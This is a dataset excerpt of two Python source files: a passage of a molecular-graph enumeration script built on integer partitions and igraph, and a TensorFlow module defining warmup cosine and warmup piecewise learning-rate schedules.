abs(x - around[-maxelements])\n for p in IntegerPartitions._do_partition(\n total - x, maxelements - 1, around, limit\n ):\n res.append([x] + p)\n return res\n\n @staticmethod\n def partition(total, maxelements, around=None, maxdz=None):\n \"\"\" Builds all integer partitions of *total* split into *maxelements* parts.\n\t\tNote that ordering matters, i.e. (2, 1) and (1, 2) are district partitions. Moreover, elements of zero value are allowed. In all cases, the sum of all elements is equal to *total*.\n\t\tThere is no guarantee as for the ordering of elements.\n\t\tIf a center *around* is given, then a radius *maxdz* is required.\n\t\tOnly those partitions are listed where the L1 norm of the distance between partition and *around* is less or equal to *maxdz*.\n\t\tArgs:\n\t\t\ttotal:\t\t\tThe sum of all entries. [Integer]\n\t\t\tmaxelements:\tThe number of elements to split into. [Integer]\n\t\t\taround:\t\t\tIterable of N entries. Center around which partitions are listed. [Integer]\n\t\t\tmaxdz:\t\t\tMaximum absolute difference in Z space from center *around*. [Integer]\n\t\tReturns:\n\t\t\tA list of all partitions as lists.\n\t\t\"\"\"\n if around is not None:\n return IntegerPartitions._do_partition(\n total, maxelements, tuple(around), maxdz\n )\n else:\n return IntegerPartitions._do_partition(total, maxelements)\ndef integer_partition(nsites, total):\n res = []\n for c in IntegerPartitions.partition(total, nsites):\n if max(c) > 2 :\n continue\n if c[0] == 0:\n continue\n if c[::-1] not in res:\n res.append(c)\n return res\n\ndef filtered_clean(bonded, partition, nhs, colors):\n return filtered_clean_cached(tuple(bonded), tuple(partition), nhs, colors)\n\n@functools.lru_cache(maxsize=100)\ndef filtered_clean_cached(bonded, partition, nhs, colors):\n return filter_list(clean_list(bonded, partition, nhs), colors)\n\ndef clean_list(bonded, partition, nhs):\n res = []\n if len(partition) == 0:\n return [[]]\n for add_here_A in range(0, partition[0]+1):\n fill_A = partition[0] - add_here_A\n if fill_A > nhs:\n continue\n for added_A in it.combinations(bonded, add_here_A):\n group_A = list(added_A) + ['H'] * fill_A\n \n remain_bonded = set(bonded) - set(added_A)\n remain_partition = partition[1:]\n remain_nhs = nhs - fill_A\n for partial in clean_list(remain_bonded, remain_partition, remain_nhs):\n if len(partial) > 0 and (partial[0] == [] and group_A == []):\n continue\n res.append([group_A] + partial)\n return res\n\ndef filter_list(clean, colors):\n accepted = []\n representations = []\n for setup in clean:\n representation = '-'.join(['.'.join(_) for _ in setup])\n for idx, color in enumerate(colors):\n if color == \"1\":\n representation = representation.replace(str(idx), 'O')\n if representation not in representations:\n accepted.append(setup)\n representations.append(representation)\n return accepted\n\ndef find_terminal_oxygens(edges, colors, nhs):\n terminal = []\n for aidx in range(len(colors)):\n if colors[aidx] == \"0\":\n continue\n nbonds = len([_ for _ in edges if _ == str(aidx)])\n if nbonds == 2:\n continue\n if nhs[aidx] == \"1\":\n continue\n terminal.append(str(aidx))\n return terminal\n\ndef verify_ring(decorations, other_ring_index, other_index_order, terminal):\n orders = []\n for site in range(6):\n order = 2\n for entry in decorations[site]:\n if entry == \"H\":\n order -= 1\n continue\n if entry == str(other_ring_index):\n order -= other_index_order\n continue\n if entry in terminal:\n order -= 2\n continue\n order -= 1\n orders.append(str(order))\n orders = ''.join(orders)\n #print (orders)\n return orders in ['000000', '110000', '011000', '001100', '000110', '000011', '100001', '111100', '011110', '001111', '100111', '110011', '111001', '111111', '121000', '012100', '001210', '000121', '100012','210001']\n\ndef permutate_mol(line):\n parts = line.replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\").strip().split()[2:]\n colors, edges, nhs = tuple(parts[:9]), parts[9:-9], parts[-9:]\n terminal = find_terminal_oxygens(edges, colors, nhs)\n \n def get_bonded(ring):\n bonded = []\n for atoms in zip(edges[::2], edges[1::2]):\n if ring in atoms:\n bonded.append([_ for _ in atoms if _ != ring][0])\n return bonded\n \n ring1idx = colors.index(\"0\")\n connect1 = get_bonded(str(ring1idx))\n ring2idx = len(colors)-1-colors[::-1].index(\"0\")\n connect2 = get_bonded(str(ring2idx))\n \n njoins1 = len(connect1) + int(nhs[ring1idx])\n njoins2 = len(connect2) + int(nhs[ring2idx])\n \n elements = [8]*7 + [6] * 12 + [1]*12\n accepted = []\n dumps = []\n for partition1 in integer_partition(6, njoins1):\n counter = 0\n debug = 0\n thisaccepted = []\n\n print(len(clean_list(connect1, partition1, int(nhs[ring1idx]))))\n print(clean_list(connect1, partition1, int(nhs[ring1idx]))[:10])\n print(len(filter_list(clean_list(connect1, partition1, int(nhs[ring1idx])), colors)))\n\n return []\n for i in filter_list(clean_list(connect1, partition1, int(nhs[ring1idx])), colors):\n if not (verify_ring(i, ring2idx, 1, terminal) or verify_ring(i, ring2idx, 2, terminal)):\n continue\n\n for partition2 in integer_partition(6, njoins2):\n for j in filtered_clean(connect2, partition2, int(nhs[ring2idx]), colors):\n test1 = (verify_ring(i, ring2idx, 1, terminal) and verify_ring(j, ring1idx, 1, terminal))\n test2 = (verify_ring(i, ring2idx, 2, terminal) and verify_ring(j, ring1idx, 2, terminal))\n if not (test1 or test2):\n continue\n\n #this_graph = get_graph(i, j, edges, ring1idx, ring2idx, nhs)\n #for a in thisaccepted:\n # if this_graph.isomorphic_vf2(a, color1=elements, color2=elements):\n # break\n #else:\n # thisaccepted.append(this_graph)\n counter += 1\n\n print (counter)\n \n accepted.append(thisaccepted)\n return accepted\ndef get_graph(i,j, edges, ring1idx, ring2idx, nhs):\n bonded1, bonded2 = i, j\n \n oxygens = list(range(7))\n carbons = list(range(7,7+12))\n hydrogens = list(range(7+12, 7+12+12))\n \n # mapping\n mapping = dict()\n nrings = 0\n for nauty in range(9):\n if nauty in (ring1idx, ring2idx):\n mapping[str(nauty)] = carbons[nrings*6:(nrings+1)*6]\n nrings += 1\n else:\n mapping[str(nauty)] = [oxygens.pop(0)] \n # BONDS\n bonds = []\n \n # rings\n for i, j in ((0,1), (1,2),(2,3), (3,4), (4,5), (5,0)):\n bonds.append(((i+7), (j+7)))\n bonds.append(((i+7+6), (j+7+6)))\n\n # atom-atom bonds\n for a, b in zip(edges[::2], edges[1::2]):\n a = mapping[a]\n b = mapping[b]\n \n if len(a) > 1 or len(b) > 1:\n continue\n bonds.append((a[0], b[0]))\n \n # OH bonds\n for idx, nh in enumerate(nhs):\n if idx not in (ring1idx, ring2idx) and nh != \"0\":\n bonds.append((mapping[str(idx)][0], hydrogens.pop(0)))\n \n # ring attached\n offset = 7\n ringring = []\n for ringgroups in (bonded1, bonded2):\n for site, toadd in enumerate(ringgroups):\n for entry in toadd:\n if entry == \"H\":\n other = hydrogens.pop(0)\n else:\n other = mapping[entry]\n if len(other) == 1:\n other = other[0] \n else:\n ringring.append(offset+site)\n continue\n bonds.append((offset+site, other))\n offset += 6\n \n assert(len(hydrogens) == 0)\n \n # ring-ring\n if len(ringring) == 2:\n bonds.append(tuple(ringring))\n \n graph = igraph.Graph(bonds)\n assert(len(graph.components()))\n #return bonds\n return graph\n\nfor line in open(sys.argv[1]):\n print ('#IN', line.strip())\n accepted = permutate_mol(line)\n for graph in accepted:\n print ('#OUT', ' '.join(['-'.join([str(__) for __ in _.tuple]) for _ in graph.es]))\n","repo_name":"ferchault/spectrumscan","sub_path":"generation/01-testline.py","file_name":"01-testline.py","file_ext":"py","file_size_in_byte":10540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12285322616","text":"from tensorflow.keras.optimizers.schedules import LearningRateSchedule\nimport math\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.util.tf_export import keras_export\n\n\"\"\"Modified from:\n https://github.com/tensorflow/tensorflow/blob/v2.3.0/tensorflow/python/keras/optimizer_v2/learning_rate_schedule.py\"\"\"\n\n@keras_export(\"keras.experimental.WarmupCosineDecay\")\nclass WarmupCosineDecay(LearningRateSchedule):\n \"\"\"A LearningRateSchedule that uses a cosine decay schedule.\n See [Loshchilov & Hutter, ICLR2016], SGDR: Stochastic Gradient Descent\n with Warm Restarts. https://arxiv.org/abs/1608.03983\n When training a model, it is often recommended to lower the learning rate as\n the training progresses. This schedule applies a cosine decay function\n to an optimizer step, given a provided initial learning rate.\n It requires a `step` value to compute the decayed learning rate. You can\n just pass a TensorFlow variable that you increment at each training step.\n The schedule a 1-arg callable that produces a decayed learning\n rate when passed the current optimizer step. This can be useful for changing\n the learning rate value across different invocations of optimizer functions.\n It is computed as:\n ```python\n def decayed_learning_rate(step):\n step = min(step, decay_steps)\n cosine_decay = 0.5 * (1 + cos(pi * step / decay_steps))\n decayed = (1 - alpha) * cosine_decay + alpha\n return initial_learning_rate * decayed\n ```\n Example usage:\n ```python\n decay_steps = 1000\n lr_decayed_fn = tf.keras.experimental.CosineDecay(\n initial_learning_rate, decay_steps)\n ```\n You can pass this schedule directly into a `tf.keras.optimizers.Optimizer`\n as the learning rate. The learning rate schedule is also serializable and\n deserializable using `tf.keras.optimizers.schedules.serialize` and\n `tf.keras.optimizers.schedules.deserialize`.\n Returns:\n A 1-arg callable learning rate schedule that takes the current optimizer\n step and outputs the decayed learning rate, a scalar `Tensor` of the same\n type as `initial_learning_rate`.\n \"\"\"\n\n def __init__(\n self,\n initial_learning_rate,\n decay_steps,\n warmup_steps,\n warmup_factor,\n alpha=0.0,\n name=None):\n \"\"\"Applies cosine decay to the learning rate.\n Args:\n initial_learning_rate: A scalar `float32` or `float64` Tensor or a\n Python number. The initial learning rate.\n decay_steps: A scalar `int32` or `int64` `Tensor` or a Python number.\n Number of steps to decay over.\n alpha: A scalar `float32` or `float64` Tensor or a Python number.\n Minimum learning rate value as a fraction of initial_learning_rate.\n name: String. Optional name of the operation. Defaults to 'CosineDecay'.\n \"\"\"\n super(WarmupCosineDecay, self).__init__()\n\n self.initial_learning_rate = initial_learning_rate\n self.decay_steps = decay_steps\n self.warmup_steps = warmup_steps\n self.warmup_factor = warmup_factor\n self.alpha = alpha\n self.name = name\n\n def __call__(self, step):\n with ops.name_scope_v2(self.name or \"WarmupCosineDecay\"):\n initial_learning_rate = ops.convert_to_tensor_v2(\n self.initial_learning_rate, name=\"initial_learning_rate\")\n dtype = initial_learning_rate.dtype\n decay_steps = math_ops.cast(self.decay_steps, dtype)\n warmup_steps = math_ops.cast(self.warmup_steps, dtype)\n w_fac = math_ops.cast(self.warmup_factor, dtype)\n\n global_step_recomp = math_ops.cast(step, dtype)\n global_step_recomp = math_ops.minimum(global_step_recomp, decay_steps)\n\n def compute_step(warming_up=False):\n if warming_up:\n completed_fraction = global_step_recomp / warmup_steps\n gain = w_fac + (1 - w_fac) * completed_fraction\n else:\n completed_fraction = (global_step_recomp - warmup_steps) / (decay_steps - warmup_steps)\n cosine_decayed = 0.5 * (1.0 + math_ops.cos(\n constant_op.constant(math.pi) * completed_fraction))\n gain = (1 - self.alpha) * cosine_decayed + self.alpha\n return gain\n\n gain = control_flow_ops.cond(math_ops.less(global_step_recomp, warmup_steps),\n lambda: compute_step(warming_up=True),\n lambda: compute_step(warming_up=False))\n\n return math_ops.multiply(initial_learning_rate, gain)\n\n def get_config(self):\n return {\n \"initial_learning_rate\": self.initial_learning_rate,\n \"decay_steps\": self.decay_steps,\n \"warmup_steps\": self.warmup_steps,\n \"warmup_factor\": self.warmup_factor,\n \"alpha\": self.alpha,\n \"name\": self.name\n }\n\n@keras_export(\"keras.experimental.WarmupPiecewise\")\nclass WarmupPiecewise(LearningRateSchedule):\n \"\"\"A LearningRateSchedule that uses a piecewise constant decay schedule.\n The function returns a 1-arg callable to compute the piecewise constant\n when passed the current optimizer step. This can be useful for changing the\n learning rate value across different invocations of optimizer functions.\n Example: use a learning rate that's 1.0 for the first 100001 steps, 0.5\n for the next 10000 steps, and 0.1 for any additional steps.\n ```python\n step = tf.Variable(0, trainable=False)\n boundaries = [100000, 110000]\n values = [1.0, 0.5, 0.1]\n learning_rate_fn = keras.optimizers.schedules.PiecewiseConstantDecay(\n boundaries, values)\n # Later, whenever we perform an optimization step, we pass in the step.\n learning_rate = learning_rate_fn(step)\n ```\n You can pass this schedule directly into a `tf.keras.optimizers.Optimizer`\n as the learning rate. The learning rate schedule is also serializable and\n deserializable using `tf.keras.optimizers.schedules.serialize` and\n `tf.keras.optimizers.schedules.deserialize`.\n Returns:\n A 1-arg callable learning rate schedule that takes the current optimizer\n step and outputs the decayed learning rate, a scalar `Tensor` of the same\n type as the boundary tensors.\n The output of the 1-arg function that takes the `step`\n is `values[0]` when `step <= boundaries[0]`,\n `values[1]` when `step > boundaries[0]` and `step <= boundaries[1]`, ...,\n and values[-1] when `step > boundaries[-1]`.\n \"\"\"\n\n def __init__(\n self,\n boundaries,\n values,\n warmup_steps,\n warmup_factor,\n gradual=True,\n name=None):\n \"\"\"Piecewise constant from boundaries and interval values.\n Args:\n boundaries: A list of `Tensor`s or `int`s or `float`s with strictly\n increasing entries, and with all elements having the same type as the\n optimizer step.\n values: A list of `Tensor`s or `float`s or `int`s that specifies the\n values for the intervals defined by `boundaries`. It should have one\n more element than `boundaries`, and all elements should have the same\n type.\n name: A string. Optional name of the operation. Defaults to\n 'PiecewiseConstant'.\n Raises:\n ValueError: if the number of elements in the lists do not match.\n \"\"\"\n super(WarmupPiecewise, self).__init__()\n\n if len(boundaries) != len(values) - 1:\n raise ValueError(\n \"The length of boundaries should be 1 less than the length of values\")\n\n self.boundaries = boundaries\n self.values = values\n self.name = name\n self.warmup_steps = warmup_steps\n self.warmup_factor = warmup_factor\n self.gradual = gradual\n\n def __call__(self, step):\n with ops.name_scope_v2(self.name or \"WarmupPiecewise\"):\n boundaries = ops.convert_n_to_tensor(self.boundaries)\n values = ops.convert_n_to_tensor(self.values)\n x_recomp = ops.convert_to_tensor_v2(step)\n\n # convert all data types to float\n x_recomp = math_ops.cast(x_recomp, values[0].dtype)\n warmup_steps = math_ops.cast(self.warmup_steps, values[0].dtype)\n w_fac = math_ops.cast(self.warmup_factor, values[0].dtype)\n\n for i, b in enumerate(boundaries):\n if b.dtype.base_dtype != x_recomp.dtype.base_dtype:\n # We cast the boundaries to have the same type as the step\n b = math_ops.cast(b, x_recomp.dtype.base_dtype)\n boundaries[i] = b\n\n def compute_piecewise():\n pred_fn_pairs = []\n pred_fn_pairs.append((x_recomp <= boundaries[0], lambda: values[0]))\n pred_fn_pairs.append((x_recomp > boundaries[-1], lambda: values[-1]))\n for low, high, v in zip(boundaries[:-1], boundaries[1:], values[1:-1]):\n # Need to bind v here; can do this with lambda v=v: ...\n pred = (x_recomp > low) & (x_recomp <= high)\n pred_fn_pairs.append((pred, lambda v=v: v))\n\n # The default isn't needed here because our conditions are mutually\n # exclusive and exhaustive, but tf.case requires it.\n default = lambda: values[0]\n return control_flow_ops.case(pred_fn_pairs, default, exclusive=True)\n\n def compute_step(warming_up=False):\n if warming_up:\n completed_fraction = x_recomp / warmup_steps\n if self.gradual:\n gain = w_fac + (1 - w_fac) * completed_fraction\n else:\n gain = w_fac\n return math_ops.multiply(values[0], gain)\n else:\n return compute_piecewise()\n\n return control_flow_ops.cond(math_ops.less(x_recomp, warmup_steps),\n lambda: compute_step(warming_up=True),\n lambda: compute_step(warming_up=False))\n\n\n def get_config(self):\n return {\n \"boundaries\": self.boundaries,\n \"values\": self.values,\n \"warmup_steps\": self.warmup_steps,\n \"warmup_factor\": self.warmup_factor,\n \"name\": self.name\n }\n","repo_name":"wmcnally/evopose2d","sub_path":"lr_schedules.py","file_name":"lr_schedules.py","file_ext":"py","file_size_in_byte":10801,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"47"}